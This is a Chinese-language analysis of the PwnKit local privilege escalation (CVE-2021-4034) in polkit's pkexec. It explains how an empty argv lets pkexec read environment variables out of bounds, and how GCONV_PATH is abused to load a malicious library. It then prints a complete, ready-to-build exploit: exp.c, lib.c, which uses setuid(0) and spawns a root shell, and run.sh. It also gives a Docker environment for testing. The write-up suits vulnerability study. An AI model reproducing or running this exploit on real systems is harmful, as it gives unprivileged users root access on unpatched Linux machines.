[toc]
漏洞编号: CVE-2021-4034
漏洞评分:
漏洞产品: linux PolKit (pkexec)
影响范围: 影响2009年 - 今的版本(当前0.105) 参考http://its.dlut.edu.cn/info/1054/78309.htm
利用条件: linux 本地;pkexec 为suid 文件且有执行权限
源码获取: apt source policykit-1
或 https://launchpad.net/ubuntu/bionic/+package/policykit-1
docker 环境: chenaotian/cve-2021-4034
我自己搭建的docker,提供了:
- 自己编译的可源码调试的
pkexec
- 有调试符号的glibc(貌似没啥用)
- gdb 和gdb 插件pwngdb & pwndbg(貌似没必要)
- 调试环境中的exp
所有东西都在 /root/ 目录中:
- exp 目录就是exp 和run.sh 所在目录,可以直su test 切换到test 用户然后跑
- glibc-2.27 是glibc 源码目录,大概率用不上,用到的时候方便gdb 源码调试
- polkit-0.105 是 policykit 源码包
启动docker:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
测试exp:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
漏洞发生的产品是polkit 下的 pkexec
命令。pkexec
和sudo
类似都是能够让我们以其他用户身份(通常是root) 来执行命令的工具。通过dpkg
命令可以查看pkexec
所属包:
dpkg -S /usr/bin/pkexec
然后获取源码包(我的docker 之中也有),之后根据源码包自己编译可以调试的版本方便调试。
漏洞触发原理非常简单
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
* 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //获取执行命令具体字符串
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
//该函数会根据PATH环境变量寻找要执行命令的绝对地址
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
}
··· ···
··· ···
根据代码中我的注释分析:
- 首先main函数中会根据用户输入的命令行参数进行一些变量设置,但这里for 循环的起始值是1,也就是说他默认我们至少会附带一个参数(需要
pkexec
执行的命令) - 如果匹配到非
--
开头的命令行参数,认为是需要执行的命令,则认为该参数是要用pkexec
执行的命令,而跳出循环进行下面逻辑。 - 调用
g_find_program_in_path
函数搜索命令的绝对路径。g_find_program_in_path
函数会根据PATH
环境变量来寻找传入参数(命令)的绝对路径。如传入cat
返回/bin/cat
。 - 将返回的绝对路径写回该命令行参数的位置。(可以理解为从命令转换为命令对应文件的绝对路径)
还是很好理解的,但问题在于:
-
linux 二进制程序运行时会将命令行参数
argv[]
和环境变量environ[]
放到栈底部,并且argv[]
和environ[]
是连着的。其中argv[]
最后一项是null
。 -
如果是命令行启动的
pkexec
切不带任何其他参数,那么argv[0]
为"pkexec"
,argv[1]
为\x00
没啥问题。但如果是用execve
函数启动的pkexec
,不带任何其他参数,那么argv[0]
为\x00
,argv[1]
就到了环境变量了!当读取argv[1]
的时候就会越界读取到environ[0]
命令行直接启动
pkexec
的argc
为1,argv[0]
就是pkexec
路径:用
execve
函数启动pkexec
,argc
为0:
那这回造成什么影响呢? 就是当以execve
启动时,不接任何其他参数,那么argv[]
长度为0,那么argv[1]
就是environ[0]
这样上面分析的逻辑就变成了,**获取第一个环境变量的值,并且从PATH
环境变量中寻找其绝对路径。如果寻找到则写回第一个环境变量。**那么利用方式如下:
首先要明确的一点就是,pkexec
是一个特权(suid) 文件:
如何在特权文件中利用环境变量搞点事情呢?首先先了解一个小细节:
linux 的动态连接器ld-linux-x86-64.so.2
会在特权程序执行的时候清除敏感环境变量:
函数_dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //特权模式的情况下
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//循环将危险环境变量列表中的环境变量全部清空(unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
危险环境变量列表 UNSECURE_ENVVARS
定义如下:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
当检测到程序是特权文件(suid) 的时候,会清空上面的这些环境变量,可以看到,绝大部分是LD_
系列的环境变量,他们都有能指定动态库加载路径的能力。这是防止低权限用户通过这些环境变量让suid 程序加载不可信的so,造成的恶意代码执行进而提权的情况。
而在该漏洞场景下,我们拥有一次任意环境变量写得机会,我们的利用思路就是尝试从上面那些本来没法传入suid 程序中的环境变量中找点东西。
由于已经公布了poc,这里直接看答案就很简单了,这里参考了arthepsy的poc。内容很简单,但通过该poc 得知利用关键环境变量是**GCONV_PATH
**。确实是上面危险环境变量列表中的一员,甚至是第一个!
关于GCONV_PATH
与 iconv_open()
函数:
iconv_open()
函数申请一个转换描述符,转换字符序列从编码fromcode
到编码tcode
转换描述符包含转换状态。iconv_open()
函数首先会找到系统提供的gconv-modules
文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中。然后再根据gconv-modules
文件的指示去链接参数对应的.so文件执行具体操作。如果存在环境变量GCONV_PATH
,则iconv_open()
函数依照GCONV_PATH
找到gconv-modules
文件,后续操作不变。
也就是说,这里GCONV_PATH
环境变量也有相当于 LD_LIBRARY_PATH
的功能。他可以指定 iconv_open()
函数搜索so库的文件。我们如果可以伪造GCONV_PATH
然后进一步伪造 gconv-modules
最后在伪造一个 so 就可以完成任意so加载以及任意代码执行。
大体思路如下:
-
创建一个 名为
GCONV_PATH=.
目录 -
在
GCONV_PATH=.
目录中创建一个 名为pwnkitdir
的文件,权限带x -
创建一个 名为
pwnkitdir
的目录 -
在
pwnkit
目录中创建gconv-modules
文件,依照格式写入如下内容:module UTF-8// PWNKIT// pwnkit 1
-
在
pwnkit
目录中放入恶意sopwnkit.so
里面是获取shell的代码。 -
设置相关环境变量
- 第一个环境变量
pwnkitdir
- 第二个环境变量
PATH=GCONV_PATH=.
这样g_find_program_in_path
函数组合出的路径就是GCONV_PATH=./pwnkitdir
正好是环境变量的格式,而且./pwnkitdir
目录存在,GCONV_PATH=./pwnkitdir
文件也存在。 CHARSET=PWNKIT
环境变量,在走到iconv_open
前的路径中会用到,用来从gconv-modules
中搜索soSHELL=xxx
,,在走到iconv_open
前的路径中会用到
- 第一个环境变量
-
通过
execve
启动pkexec
参数为空,环境变量为上面设置的值
然后就成功,具体exp如下:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
利用成功:
升级最新版本
arthepsy‘s poc:https://github.com/arthepsy/CVE-2021-4034